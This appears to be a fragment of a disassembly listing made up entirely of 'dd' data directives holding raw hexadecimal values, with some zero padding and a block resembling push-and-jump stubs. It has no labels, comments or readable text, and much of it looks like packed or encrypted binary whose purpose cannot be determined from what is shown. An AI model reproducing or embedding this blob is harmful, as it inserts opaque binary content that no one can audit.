dd 1D508A64h, 2D609A80h, 0DB1AF4FFh, 86DA13B0h, 0CC0BF10Eh
dd 649E84A1h, 0DDD04CE2h, 54B6F1E0h, 6E99D7B1h, 21D97640h
dd 6B41C5Dh, 16C92140h, 5976D84Eh, 0DC8AAB8Ch, 16C9219Ah
dd 5D0BAE24h, 16C92119h, 65922FA5h, 0C921F7B7h, 0DE81F716h
dd 5FF1CCAFh, 58F550A7h, 906695A0h, 3CD7A944h, 54228C5h
dd 0E1A7E795h, 0B12716C9h, 0A3F9324Fh, 3D012Fh, 5F0D2ED1h
dd 16C9E11Fh, 0E58C299Fh, 0C9E1172Bh, 94A2416h, 4DEAB4E2h
dd 0A94CBC14h, 31097EFBh, 0DF82F81Ch, 7AA5E4BEh, 0D393414Ch
dd 0DB1320C6h, 80660365h, 0B0DF1B44h, 3956B882h, 1C991753h
dd 64D6B3Bh, 35DED8E0h, 4DAF21E9h, 1C1948EBh, 0EFE46B33h
dd 3641F996h, 0C3F1205Ch, 37765CF9h, 0A9A822BDh, 6ACCDB2Eh
dd 1037783Ch, 0C2FDD7E2h, 47DEA04Eh, 6AE01320h, 7310DA08h
dd 0F321508Dh, 5519C7E8h, 59132047h, 0B50D46E3h, 0FFEC4EF6h
dd 0B1624938h, 5C334B84h, 39DC3E80h, 0D830428Bh, 0A5D64C19h
dd 6F76D4B2h, 0A2E9A59Dh, 14000000h, 0AA90ADD4h, 3C223F6Eh
dd 0CDB3D0FFh, 5C425F92h, 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h
dd 6994D3B9h, 0F92C664Ch, 802E0FDCh, 1325493Eh, 0C28967C0h
dd 20661488h, 0AE16C91Ah, 0E4A8D638h, 0F427DAAh, 87B517E1h
dd 673D3897h, 0FEDDFA2Dh, 40CFD752h, 33732142h, 70E936EEh
dd 36EEFCC2h, 348C02E9h, 29578AC4h, 3F60FD5Fh, 1Fh, 0AC5A7B05h
dd 16C91AEAh, 27E17EF4h, 16C91A1Ah, 58FB2E68h, 79163D7Eh
dd 0EF4D2h, 0EE340000h, 16C91AD4h, 8CC7F42Eh, 0ACDAF759h
dd 24A44E2h, 0B1000000h, 5B82C243h, 0FC2F692Dh, 0A0CB0ACEh
dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h
dd 75A4E0A4h, 89568647h, 4C681E6h, 57000000h, 4BFh, 5FFE2900h
dd 5C243487h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
dd 0CD68242Ch, 89000022h, 5BD2414h, 0F716F55Eh, 0F1E581DDh
dd 81345800h, 6D0F78F5h, 44CD8146h, 571D3050h, 76EF1CBFh
dd 5FFD0186h, 4EC81h, 24890000h, 24048324h, 81555A04h
dd 3AFB242Ch, 428F6D67h, 8428108h, 6D673AFBh, 5A2434FFh
dd 8B04C483h, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
dd 0ECE95C24h, 0EFFFD2Ah, 1C55AB7Bh, 75B84D42h, 305EC54h
dd 0E9D18BC5h, 0D9h, 0FBE1D20h, 2F82C12Ch, 0BEB6CFDFh
dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h
dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h
dd 3893h, 3C00h, 4000h, 9400h, 500h, 100h, 0A2800h, 200h
dd 20h dup(0)
dd 0A12F1400h, 1F10E931h, 0DB680000h, 0E905EC57h, 0FFFD29EFh
dd 0EC58B668h, 29E5E905h, 7868FFFDh, 0E905EC59h, 0FFFD29DBh
dd 0EC5A6A68h, 29D1E905h, 4568FFFDh, 0E905EC5Bh, 0FFFD29C7h
dd 0EC5BF168h, 29BDE905h, 0A168FFFDh, 0E905EC5Ch, 0FFFD29B3h
dd 0EC5D6668h, 29A9E905h, 2468FFFDh, 0E905EC61h, 0FFFD299Fh
dd 0EC619968h, 2995E905h, 0A368FFFDh, 0E905EC62h, 0FFFD298Bh
dd 0EC65D868h, 2981E905h, 2A68FFFDh, 0E905EC69h, 0FFFD2977h
dd 0EC6C5268h, 296DE905h, 9768FFFDh, 0E905EC6Dh, 0FFFD2963h
dd 0EC6E1768h, 2959E905h, 8768FFFDh, 0E905EC6Eh, 0FFFD294Fh
dd 0EC6EE868h, 2945E905h, 0C568FFFDh, 0E905EC6Fh, 0FFFD293Bh
dd 0EC715668h, 2931E905h, 4D68FFFDh, 0E905EC72h, 0FFFD2927h
dd 6F8CB3F3h, 11E4D89h, 92AFDE1Bh, 213E71ACh, 0B5D2FD3Bh
dd 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h, 0DEEBBD8h
dd 254C1F5Fh, 68469F13h, 620688C2h, 5D76BB71h, 0D094C224h
dd 0D466396h, 0F4A245B5h, 1C32F87Bh, 0C75F8D03h, 1320D7FBh
dd 911A5BFCh, 45261ECFh, 3BE1h, 176FA700h, 35E304A7h, 16C91A71h
dd 0BF23B87Dh, 0DB1B3D9Ah, 1AFDC79h, 1C323CE0h, 0EA82B026h
dd 13201ED8h, 0B4F77E1Fh, 4526D3ECh, 0B804h, 0FCAACB00h
dd 1321E2BAh, 331CE44h, 3665A17Bh, 0BBA13E08h, 5C204E81h
dd 1C5F31Eh, 0A26694C7h, 5E183568h, 16C915DBh, 0D1EE215Bh
dd 507EB1EBh, 0CE71E139h, 31F3AB20h, 5875EB1Ch, 0E908C71Fh
dd 674744F1h, 0B088E896h, 70F930FFh, 3FA10336h, 6081C29Ch
dd 0CAF81Fh, 26D4019Eh, 19C6A520h, 3B15B82Eh, 88B5D2FDh
dd 95F5B967h, 83F916CBh, 97C200E6h, 75139566h, 6C2BA6Fh
dd 1C84h, 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h
dd 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h
dd 0F9DAA7C4h, 254D0B4Bh, 5C3A9313h, 3C5984C2h, 0CCE91C56h
dd 0A7176F9Eh, 294D5604h, 43B91C32h, 0FCDB0A15h, 38224F27h
dd 0C101BB58h, 36132069h, 5CBE095h, 0F4526A4h, 7D7E40EEh
dd 0A801320h, 0B14C6Dh, 7B120000h, 93762A1h, 82BCA23Fh
dd 3C16214Fh, 6C9BD8FDh, 7512DC0Ah, 0F826518Fh, 0C915DD60h
dd 6401A16h, 3EDBA5D3h, 0CEEB1E58h, 4D7BAEE8h, 0CB6EDE36h
dd 31F3AC1Dh, 5774EA1Ch, 7707C61Eh, 1A83C6B0h, 83A447A9h
dd 12406BA9h, 5EF1AB48h, 0A419C69Bh, 906A8B2Eh, 2CF62453h
dd 406BA98Fh, 0DAFF3D23h, 0DA0B6DA0h, 6F74F5AFh, 0A94C0800h
dd 0C00001Bh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah
dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h
dd 782607D4h, 13254236h, 0C2815FB8h, 62C30A84h, 0FA011A22h
dd 5B957B98h, 0C2DD0B28h, 63275588h, 8FC2FC29h, 92359761h
dd 0B35077B8h, 0E4BEDF0Ch, 74777AAh, 8716C91Ah, 71507411h
dd 0E78AFA52h, 321CD439h, 75A41A1Ch, 0BA3227DFh, 4421CA6h
dd 85E1ABD9h, 20EA184Bh, 41F24A83h, 0AE7AD393h, 0B57A82AFh
dd 76BEC4CBh, 0A346A81Eh, 0C3608BC9h, 5A9B7596h, 5BDC9633h
dd 0E3A5568Ch, 0D0283F6Dh, 0FBD60h, 0AA0BC48h, 0DD17F194h
dd 6DA78DAAh, 40CC093Ah, 433BB610h, 1AE787h, 0E30A4A00h
dd 75A4E0C6h, 6357258h, 95C803E9h, 29549278h, 0E0DA080Ch
dd 745A77A2h, 9EF0C33h, 9C829FCAh, 45122F62h, 43F0B664h
dd 0A5FE1325h, 0F34C7BC7h, 8BEA52DCh, 0E2114EAAh, 674DEAB4h
dd 0B5CCFA2Dh, 294AED5Dh, 45E2154Fh, 32F6CA8Bh, 4A5A891Ch
dd 97CABBD3h, 92492BC8h, 207AA2E4h, 54B62C13h, 9FB21337h
dd 2E5C87C5h, 0B6994715h, 56B8E3D0h, 0B82880B9h, 46F415h
dd 8E132027h, 2D4E7B18h, 0FF704EFEh, 32CF99CDh, 0DB469778h
dd 0BE61D719h, 4EAFEF9Dh, 5D616C9h, 1A69F410h, 2563D32Bh
dd 42FB98FAh, 7AB86DACh, 56C61E5Eh, 7C8005B3h, 188EDB80h
dd 0CA7BD3EAh, 5888AFF0h, 0D491B316h, 1DC02298h, 6AB8606Fh
dd 3D7AEADEh, 2F09AC0Eh, 1E8AC8F5h, 788A2E70h, 0D83AB0D1h
dd 617EE0AAh, 0DD0E417Bh, 0A7C610A6h, 0F535F1E9h, 58000019h
dd 0EED4F118h, 806683B2h, 11F71443h, 0A086A3D6h, 161A3762h
dd 7DA8E6CCh, 12397A60h, 0A5D00FF5h, 3568A288h, 0BC6A4B18h
dd 132540FAh, 7BCDAB04h, 0A3863A1h, 83BDA340h, 0B30B2250h
dd 35F2A043h, 6E1C31F6h, 0CD295894h, 69336190h, 5774EACCh
dd 0EA42A133h, 87B6D77Ah, 96A6EF57h, 1FD976F8h, 19DB28FEh
dd 0B2DD1BF5h, 8EBD3315h, 70AB64F8h, 0CF3F9783h, 85DC0B2Ch
dd 0A6E896F0h, 288A6137h, 0A3A201B2h, 64E9A340h, 0EA809903h
dd 0CCC18533h, 57CD8F88h, 9BBCC7F5h, 0CC8ACC7Ah, 9E148F88h
dd 88CC286Eh, 0A340B68Fh, 0FFA2126Ah, 8EBCE725h, 4CFA27C4h
dd 8573C745h, 0DAB457CDh, 6A506DA0h, 32B2AE30h, 8794D51Bh
dd 95C3EA2Bh, 2F3869CBh, 34D2CECFh, 191A803Ch, 3D7D0000h
dd 0D713F916h, 68A58BA8h, 0FB361C39h, 87C5ABC8h, 0A73B3F5Ch
dd 85A2CD0Bh, 1A375E9Fh, 0ADCAF534h, 3D5A8DC7h, 9DE18F70h
dd 21132541h, 88C2EAC8h, 0B8102755h, 0C6F7A548h, 81C3232h
dd 0D32F5A98h, 6F396796h, 4CCF00Dh, 54F767BFh, 0DB0441A6h
dd 0E8178D19h, 4E10BEDFh, 516C90Ch, 0C90C1757h, 0C9219716h
dd 10FCB653h, 3638690h, 0EA983BABh, 0E1735465h, 2E4573E9h
dd 15C366D6h, 0E499901Eh, 4978B424h, 0F42344E7h, 515CDEE9h
dd 5214C2F6h, 5CEB8B25h, 1E784E6h, 917794C7h, 0F0F32457h
dd 0FF723561h, 186E4B07h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh
dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
dd 9265190h, 99B6E923h, 793DEBCCh, 85132541h, 88C24E2Ch
dd 0BFED205Bh, 2D5C99F5h, 2E869DCBh, 0A06D1BBEh, 2E1C31F3h
dd 46F415B8h, 13203D00h, 0D47B188Eh, 5EB615B0h, 92A4BEEh
dd 203D1B5Bh, 0F533A313h, 70D29CCAh, 3BF419D3h, 0C43A19DBh
dd 0EA02FF95h, 0D52D8A10h, 0F3A1C265h, 8501C4B3h, 0FB28C53Bh
dd 0F928C84Dh, 0D191568Fh, 0B5DF207Eh, 0D6ED1B7Dh, 0BD6B0E7Eh
dd 8A1312B6h, 0C9A346BCh, 593F5C8Fh, 0A6BBEC1Fh, 0A5DBAF66h
dd 17BEF1ADh, 0E1210000h, 7BB79DBAh, 0C492F4Ch, 9FDAC0DDh
dd 2B694F6Ch, 3DFE300h, 314E79B7h, 0C6E30A4Bh, 5976A1E0h
dd 0E9063973h, 0C98D3B1Ch, 0D5132546h, 88C29E7Ch, 0B8102755h
dd 0ABF7A548h, 0DB1C3565h, 0AEE8C265h, 4FCA8C3Ah, 5ED41325h
dd 0D8B2DFFCh, 433709Dh, 7CAA0CD6h, 8B5B15B2h, 0C813254Fh
dd 0B3B55499h, 52EFFF2Dh, 0AD50C219h, 2F6D96D3h, 0AA74A204h
dd 1839660Dh, 230549F7h, 13891325h, 2523A3E3h, 59B52B13h
dd 6C52EF1Ah, 0A9E2FF32h, 903EE151h, 19D95CD2h, 8FCF7D34h
dd 0F16C976h, 0D032659Fh, 89AACB6Eh, 0C9769BDBh, 10AD2316h
dd 0A2BFEE2Ah, 235180BCh, 0C1F2255Fh, 6F773452h, 0F9F1ADA5h
dd 5C000016h, 0F2D8F51Ch, 846A87B6h, 15FB1847h, 0A48AA7DAh
dd 1A1E3B66h, 89B4F2C8h, 1E45866Ch, 0B1DC1B01h, 4174AE94h
dd 0C8765724h, 13254786h, 6FD1AF08h, 5604A717h, 1C35650Ch
dd 8761047Ah, 0C4FD1A4Dh, 3758FB6Dh, 0B8560A08h, 56204E79h
dd 0B1E3CBA5h, 27185A14h, 188E1325h, 277152EAh, 0E5861325h
dd 0EE751B90h, 7D6B4523h, 31000000h, 0D3224C7Bh, 9E2BFC03h
dd 0FF71C801h, 77ECAE5Ch, 709F16C9h, 42C4F01h, 795BF857h
dd 0A9CAD503h
dd 0BA94DA88h, 0A41A16C9h, 0C9BA3274h, 42F7BC16h, 8B5EF9A4h
dd 833DDA3Ch, 16C977BFh, 9451FB8h, 6D083DDAh, 450CC1F0h
dd 0CA4E88DBh, 5A824E2Dh, 259E40CFh, 64000000h, 0C91AD5EEh
dd 1282DA16h, 3174C16Fh, 47A1C32h, 0CC924061h, 0D2132003h
dd 4B0BB95Ch, 53132003h, 6B9940DDh, 4A7176Fh, 31FD5956h
dd 416FE51Ch, 0EE215C36h, 4748A7C0h, 4FF52DE3h, 306A50EDh
dd 0F598C703h, 20350747h, 0AF118713h, 3F72AC92h, 89CD7B9Ch
dd 15132035h, 84EFC9Fh, 96132035h, 7CB8320h, 0AC709EC9h
dd 4F134170h, 7FAAE912h, 811EEF1Dh, 0E104AAF4h, 0A3D61094h
dd 3366A086h, 0F5226190h, 0C46875F1h, 0F4DECE0Fh, 0A542A46Bh
dd 0E7ED6EDh, 0BBBCBD6Bh, 956F19DBh, 2FF9275Ah, 1D3AB092h
dd 9CCAFD37h, 0FADA2104h, 0DF001BDEh, 6C9AC905h, 142C72A2h
dd 3CB26EFFh, 990B6A9Fh, 0E20F2C5Fh, 145313C1h, 0E55B6EFFh
dd 0F5286248h, 95C803C7h, 0F3148367h, 0FF140145h, 7A178D6Eh
dd 0C2D3045h, 0FF14185Eh, 41EFA66Eh, 6EFF147Dh, 0CA90B81h
dd 9CB9EC26h, 1B497CB6h, 993CAC04h, 426A6EBh, 0ADCA4064h
dd 2C5A8DC7h, 0D2002768h, 0D0D4A1C4h, 60466396h, 4204B226h
dd 486B1606h, 0E2ACDA0Dh, 84B2148Ah, 0B664156Dh, 6B1606F0h
dd 832688FEh, 0ED1CA0D5h, 0B74A361h, 66D03A1Ah, 0CB4123C0h
dd 0E60D4E28h, 0EF1D508Ah, 0FBE18825h, 0C8608EC1h, 7EFFCBFAh
dd 6C9ACD08h, 0D3B6EA8h, 0CED69F3Ch, 0F3036590h, 99D3D1A4h
dd 0CB377725h, 41B77EFFh, 9DDCC2DFh, 0CBC38331h, 8BC77EFFh
dd 0C642E5Ch, 42063496h, 0E7ABD904h, 894D7BAAh, 75ED1B4Eh
dd 0C74F4F26h, 58970D68h, 295B8A2Dh, 7AAF1C24h, 4329D06Dh
dd 5C36D904h, 0FAC4F21Dh, 9330639Eh, 0A9DC17DBh, 4F76B77Bh
dd 0F31E5D21h, 0B6AE1C5h, 0ABCAED93h, 0A3E391B2h, 2B7EFFA4h
dd 1F4D80BBh, 5D97F355h, 68A78D2Ah, 19F3203Dh, 2B11AEDDh
dd 8893C1ECh, 0A34073AEh, 0FFA2126Ah, 7434451h, 2654CA74h
dd 0FAAACB42h, 8D7390BBh, 2EF22053h, 0FD1EC1F4h, 16890F4Fh
dd 7C198F7Bh, 75D4C4h, 1A376AA4h, 1044953Bh, 558B2Dh, 0C2510000h
dd 132A5883h, 981251BBh, 0DFCE187Fh, 0B91B7DFCh, 0CE013C16h
dd 9E30431h, 3960A1CEh, 0B1DF410Bh, 20B6F8A6h, 0C23816C9h
dd 0D409C360h, 0DA1C31CCh, 4317523h, 4DBD1320h, 0E8B2E013h
dd 0DA072486h, 971F34ABh, 0A23F919Dh, 1CC4h, 0ED2B0500h
dd 0C2F725C2h, 132A5883h, 0FAA84BBBh, 1C322AB5h, 0AAD514EEh
dd 98B52B0Dh, 0E41846Ah, 9AC8F734h, 0A2FA33D0h, 3CE18F32h
dd 821C321Ch, 9A48690Ch, 132014D4h, 0EC764DAh, 912D3678h
dd 9909616Eh, 2419C7F6h, 672025F4h, 6A3CA0Bh, 8CAA2BD9h
dd 3EB4ED6Bh, 31A1F910h, 48D1E08Eh, 0E359E881h, 44F01F40h
dd 9DB6E921h, 276147E4h, 0B7F1D7F4h, 40D19543h, 67DDE793h
dd 4673D405h, 0C8C07E1Dh, 133B0Ch, 375E9E00h, 0C9F8341Ah
dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h, 0C0A6C3EEh
dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 7BBC02B0h, 0E9421325h
dd 19A8EE0Bh, 87DF16C9h, 0C1C67417h, 4D1C3229h, 1B5A34D7h
dd 0F9C9AAA1h, 0CC2EDE60h, 5F8AC9AFh, 91F72631h, 98C301ABh
dd 0C3EFA06Ah, 361CB9F0h, 94DA88FCh, 1A132028h, 961142A4h
dd 69698E6Eh, 12C6B571h, 0E9290000h, 83BFA5C2h, 14513754h
dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h
dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD13257Bh, 176FA684h
dd 0ED2A04A7h, 29C690BEh, 28494EFCh, 5FD51C32h, 77A6E2BCh
dd 0B5E27F49h, 53709FDBh, 5F02316Dh, 0EB194885h, 8CC8421h
dd 5C2B5ACEh, 0A85EEFECh, 7E4A0C3Ch, 13501320h, 0B4168CE4h
dd 4A2BA286h, 0D2EF1E5Ah, 0BE132CAEh, 1B571948h, 1D26BEECh
dd 4613207Eh, 0C0FCA8CDh, 0DA14EE91h, 7D630AA7h, 0CDE41241h
dd 0A0CF0B75h, 61ED9B3Eh, 0ED19DC00h, 0BFFAD477h, 0C4F3308Ch
dd 22FCC96h, 9EBBEE28h, 1D4B7EB8h, 0DD17F112h, 82B27CAAh
dd 16CC2B3Ch, 76AF4CC2h, 0FFBF6D1Eh, 0FF16CC2Bh, 0D6842789h
dd 1C30548Fh, 0D9FA9D13h, 207E6B2Bh, 60FD7313h, 0EC1F5933h
dd 7CAFE9CFh, 2EDF374Eh, 207E3E80h, 0E84AC013h, 781A9745h
dd 960C19DBh, 77381865h, 732F276Fh, 11BCh, 9BB8DF1Fh, 2D4A79B5h
dd 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh, 412744h
dd 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 2578C383h, 9472CB13h
dd 0C91AA1EEh, 0BFEA2916h, 0A11169A2h, 656950FEh, 41B11C35h
dd 9DA8D605h, 254FAFEFh, 57B92F13h, 3B7852F5h, 42A4D712h
dd 7C9F725h, 19414FCBh, 1A5h, 4D11BFE0h, 51E9491Ah, 1375A4E1h
dd 0AD4A7DB7h, 0AC5A7B7Fh, 16C91AEAh, 0A8E17EF4h, 5F39DC54h
dd 5A96F225h, 7B608E2Bh, 0C91AF4CDh, 1A50916h, 173597Bh
dd 0A5196F5Dh, 6FDAFA01h, 2701A41Ah, 5786C2EBh, 0C403C7F5h
dd 6C9A3799h, 0FF0E4C7Bh, 94853DFh, 0F8F6B866h, 82F816C9h
dd 0C9222CE5h, 43CFCB17h, 0DF04431Dh, 7F49779Eh, 0C925EF1Dh
dd 9EBF5C8Fh, 59h, 0AC5A7B64h, 16C91AEAh, 194884F4h, 22BF21EBh
dd 7C1F93E9h, 3FB8E84Dh, 0EE4ADC50h, 885280B3h, 0CD7BBDEBh
dd 16C91AF4h, 7BF89C12h, 0CB8B395Ah, 0D316C91Ah, 0C292C05Dh
dd 9DB25685h, 0F3225E38h, 305EFBC5h, 55CAh, 3CEA0B00h
dd 16C91A7Ah, 0ABD61484h, 0B451B37Dh, 67A17B86h, 7724A0E5h
dd 0EC4ECD4Ch, 4CC0164Fh, 0F4CD7BA8h, 916C91Ah, 0EB2802A5h
dd 27C48EBCh, 63A17BF9h, 0A2D0033Eh, 0ACD976D8h, 4970B18Bh
dd 86B4511Bh, 0B25685C2h, 3467A17Bh, 0D8034206h, 0E17EE0AAh
dd 17C970D6h, 2943CFCBh, 52h, 0ADD816F0h, 1A6FE210h, 15D201A4h
dd 916DE418h, 7B44720Fh, 0CB8B395Ah, 0D316C91Ah, 3D06C05Dh
dd 4916C91Ah, 4C7B2FD3h, 0CBECA619h, 0DF0CA9F2h, 5786C2BDh
dd 7B379DB3h, 0F73C434Ch, 97618FB6h, 0A3948AE6h, 2593F900h
dd 0E885E71Bh, 270Ah, 1A6F4A00h, 0CD7B00A4h, 16C91AF4h
dd 2802A509h, 0C58FBDECh, 5A7BFA28h, 0E21D4280h, 551F4DAFh
dd 86C28AB8h, 379DB357h, 0FFFE59CAh, 0F0310BFFh, 34D19BC9h
dd 0A7176F06h, 650C5604h, 47A1C35h, 1A4D8761h, 0AC6DC4FDh
dd 7CFDE7Eh, 424AE69Dh, 0F006DE3h, 0FAA84BADh, 13258CB4h
dd 0FE96C43Ah, 13258CBEh, 0CAE19435h, 45234506h, 281Ah
dd 0D4EEE000h, 2E16C91Ah, 0EAA4C1F4h, 16C91AD9h, 6B0E7ED6h
dd 3200C0BDh, 0E6490E1Ch, 1A3C4514h, 0FDDBF85Ah, 0F9h
dd 66176F3Dh, 0C91AF6B8h, 4E88F816h, 0C123ED1Bh, 0F10EBC5Fh
dd 0F21C322Ch, 7EACDB18h, 0C53517B4h, 0C3FE5A89h, 36986290h
dd 4F7AB993h, 0E885B8F3h, 86C09ABBh, 8EF01B59h, 0A7CC0BF1h
dd 0BFDC3E69h, 416F9AD9h, 0F21D5C36h, 54C41C55h, 7AB690B1h
dd 0B4FAA84Bh, 3A132004h, 0F96D27C4h, 8519DC7Ah, 53926C0Fh
dd 0E6250B28h, 1E768DBBh, 0C9EA0BAEh, 0F5D4949Ah, 0A3D3DFB5h
dd 16CC42E3h, 167EA792h, 0B20A9042h, 90E59F3Ch, 0DE1C307Fh
dd 0CAA4C568h, 67315F8Eh, 575016C4h, 0E85E1320h, 0FE2B654Bh
dd 9E6896BDh, 0CA78993Ch, 13205784h, 50F7940Ah, 0C903306Ah
dd 1F8CCC47h, 0D1332069h, 0B7F73E6Fh, 8078698Dh, 0E87C4h
dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h, 0C9F43218h
dd 803AA8ACh, 14FA1742h
dd 0A98FACD3h, 3C223F6Ah, 0E5B2CF02h, 7F105604h, 459E1325h
dd 5588C267h, 0A7296327h, 0A7E1F04Ah, 0D33376FFh, 925AA859h
dd 0EEB2E042h, 905482B1h, 0C0EB2A53h, 69B8305Eh, 0AB0A920Ch
dd 6DA0DACAh, 83B6F0CAh, 90BEE927h, 0A38229C6h, 40CFB7FDh
dd 50F3h, 176FB900h, 0D15604A7h, 5D1C31F6h, 0BBF5B9E7h
dd 16C4E588h, 13203950h, 94EC1F5Ah, 0F4DA811Eh, 254C8DBAh
dd 28CB2DF7h, 48E5104Eh, 0B1217990h, 0FA7600Eh, 7B9C19DBh
dd 0C92789CDh, 29F1516h, 2D07AA20h, 93D381F1h, 1B16C927h
dd 0FFA643A5h, 5786C2D1h, 0E918543Ah, 1A6823BBh, 2F6E16C9h
dd 56AEE704h, 0A19543E6h, 0ED1C3565h, 0BDFAD477h, 0C943718Eh
dd 414FCB07h, 14B19h, 1B6FDF00h, 0CD7BFFA3h, 16C91AF4h
dd 2802A509h, 0F523C0E7h, 5A7B597Bh, 0C91AEAACh, 0E17EF416h
dd 6F96C8ACh, 0F0B66419h, 0FE16C91Ah, 0A9832688h, 430D3B6Eh
dd 0DAFA78A6h, 0A41A6Fh, 17C9E5EFh, 2943CFCBh, 3Ah, 0A5196FEFh
dd 62A17B01h, 0BF6D9A37h, 16C91A82h, 7BEA8E04h, 73564A1h
dd 5273A03Dh, 710E3978h, 5685C243h, 0CA379DB2h, 5Ah, 7A3CEA0Bh
dd 8016C91Ah, 46BC1443h, 0A17B7BA9h, 5E973467h, 3B795308h
dd 1A9EE010h, 0AA2016C9h, 82E40F4Eh, 0F4CD7BDEh, 916C91Ah
dd 0A17B01A5h, 648F662h, 8816C91Ah, 1854B012h, 0FE1F4CE9h
dd 8BB9E824h, 0C2F624C1h, 0F31E5C85h, 96C501C5h, 0E03C9E68h
dd 6E1274A3h, 17C9379Dh, 2943CFCBh, 26h, 0A41A6FEFh, 395A7B00h
dd 0C91ACB8Bh, 0C05DD316h, 0C91A3D06h, 2FD34916h, 86C2597Bh
dd 379DB357h, 44CAh, 1A6F0A00h, 0A17B00A4h, 44083665h
dd 0DEA8D609h, 0F0A2CB7Ch, 858EE781h, 340DBBE8h, 4916C910h
dd 5A7B41E5h, 1ACB8B39h, 5DD316C9h, 86C292C0h, 1A266816h
dd 32A816C9h, 389D2CD0h, 0D8DA8909h, 5BF81C54h, 64A17B2Dh
dd 0ACBA9835h, 0FAFFFFFEh, 4A7176Fh, 35650C56h, 61047A1Ch
dd 2D711F40h, 0B113254Fh, 7EB89E3Bh, 91CEA84Bh, 4EDEFF13h
dd 96F8E940h, 3669A468h, 3FDC3E08h, 96085F98h, 5C0145F3h
dd 178D1325h, 5C0B51E9h, 4F8B1325h, 5C6D31DFh, 0FB711325h
dd 6AA76B99h, 61EFCCECh, 4CAE97D0h, 0B2C33A1Eh, 91E485ECh
dd 23F2761Ah, 49845E45h, 811EE816h, 1860h, 0A17B2600h
dd 0E19B3863h, 16C91AE1h, 79BAE721h, 0F5D3F052h, 0C7h
dd 0A7176F35h, 2C3D5604h, 441E1C32h, 0DFA9D70Ah, 47EA6042h
dd 60032E6Dh, 8D003E31h, 18B58907h, 0D3154471h, 3A2F2A11h
dd 0B4A30CDh, 1C7EA5E6h, 0F7FD7EEh, 22613D6Ch, 0E3A5B9E8h
dd 0FF6B1946h, 7719DCBAh, 45845E01h, 0F6D0FD1Ah, 4F5A88BBh
dd 0CC91DDA1h, 96BE116h, 17456CADh, 8BCAB04Dh, 0C31B3260h
dd 6E8FB053h, 0CC91FEC0h, 16CA716h, 0C0F7DABFh, 9B55F268h
dd 1C3026EAh, 411BBE34h, 8AB7D407h, 0AA4772B0h, 26578AC4h
dd 698E8CCDh, 35BE7A72h, 9800000Bh, 2E143158h, 0C0A6C3F2h
dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h
dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132573BAh, 0C20DEB44h
dd 63275588h, 0D8C8F629h, 6EA8FC79h, 0ABD90041h, 83627FE1h
dd 40CFD3DDh, 52D3h, 176F9900h, 9E304A7h, 566F9DCCh, 4F8741B6h
dd 0EE8BEDB2h, 32660734h, 0ABD94F1Ch, 0D77AADE7h, 0E495BCFDh
dd 3472E4A3h, 10B754EAh, 8FBDF02Ah, 0DB02078h, 0DB01325Fh
dd 5BFE7419h, 376A842Ch, 0C9DCC589h, 0A253C916h, 0B8147874h
dd 541E4C7Bh, 0C2E210B7h, 85B45786h, 0A1607E09h, 0B75EFBBFh
dd 0C9E2B0FDh, 0D0FB3A16h, 0B2227AB3h, 9D62610Fh, 835D1C35h
dd 0E51EC749h, 71910BEDh, 7A17E10Fh, 0A57F2298h, 0EE1C3968h
dd 4FCB07C9h, 13F1941h, 6FDF0000h, 7BFFA31Bh, 0C91AF4CDh
dd 2A50916h, 1A7333E1h, 57B16C9h, 5A7B3A68h, 1ACB8B39h
dd 5DD316C9h, 17392C0h, 0A5196F5Dh, 0BDEC2802h, 0DAFAF220h
dd 3467A17Bh, 46FEED06h, 0C1C6E4Dh, 7FD40DAAh, 0E5EF6509h
dd 0CFCB17C9h, 372943h, 6FEF0000h, 0A5AA5619h, 4D56FEA3h
dd 0EB9C7BFEh, 55B16AC3h, 0E68AEC17h, 1AF4CD7Bh, 9C1216C9h
dd 65A17BF8h, 9440836h, 0AAD774D6h, 5685C288h, 0CA379DB2h
dd 3Eh, 0A5196F0Ah, 0F4CD7B01h, 0C716C91Ah, 0E582B1EDh
dd 19F396FAh, 0E10FACDFh, 85C2597Bh, 5984B356h, 0AC6BACB2h
dd 78A6D10Fh, 0FBA94CAEh, 16C97CBBh, 230CD43h, 215E389Dh
dd 2B8DBCF8h, 17C9608Eh, 2943CFCBh, 43h, 0ADD816F0h, 0EA18B57Fh
dd 0A41A6Fh, 1AF4CD7Bh, 9C1216C9h, 67A17BF8h, 496A9734h
dd 0D503326Fh, 0F4BA680Bh, 0FA16C91Ah, 7BB9E784h, 0BD15684Ch
dd 93EF9229h, 0A88E2B52h, 9D993D6Ch, 29CA37h, 6F0A0000h
dd 7B00A41Ah, 0C91AF4CDh, 0ACEDC716h, 0F08D5785h, 24FEA105h
dd 0F11FBCE3h, 86C2597Bh, 389DB357h, 0C4F2215Eh, 0CA2F5DFAh
dd 0FFFFFEB8h, 0AC5A7B0Ah, 16C91AEAh, 2C84B3F0h, 88E019B6h
dd 9BC77518h, 0EB1C3565h, 82B1D275h, 708DDB9h, 2208A522h
dd 4F7EBBE8h, 0D8F55721h, 33D6489Fh, 343F112h, 8B13259Ch
dd 6DEB6415h, 6033B03Ah, 674509C3h, 0D9491325h, 0DC0A6C9Fh
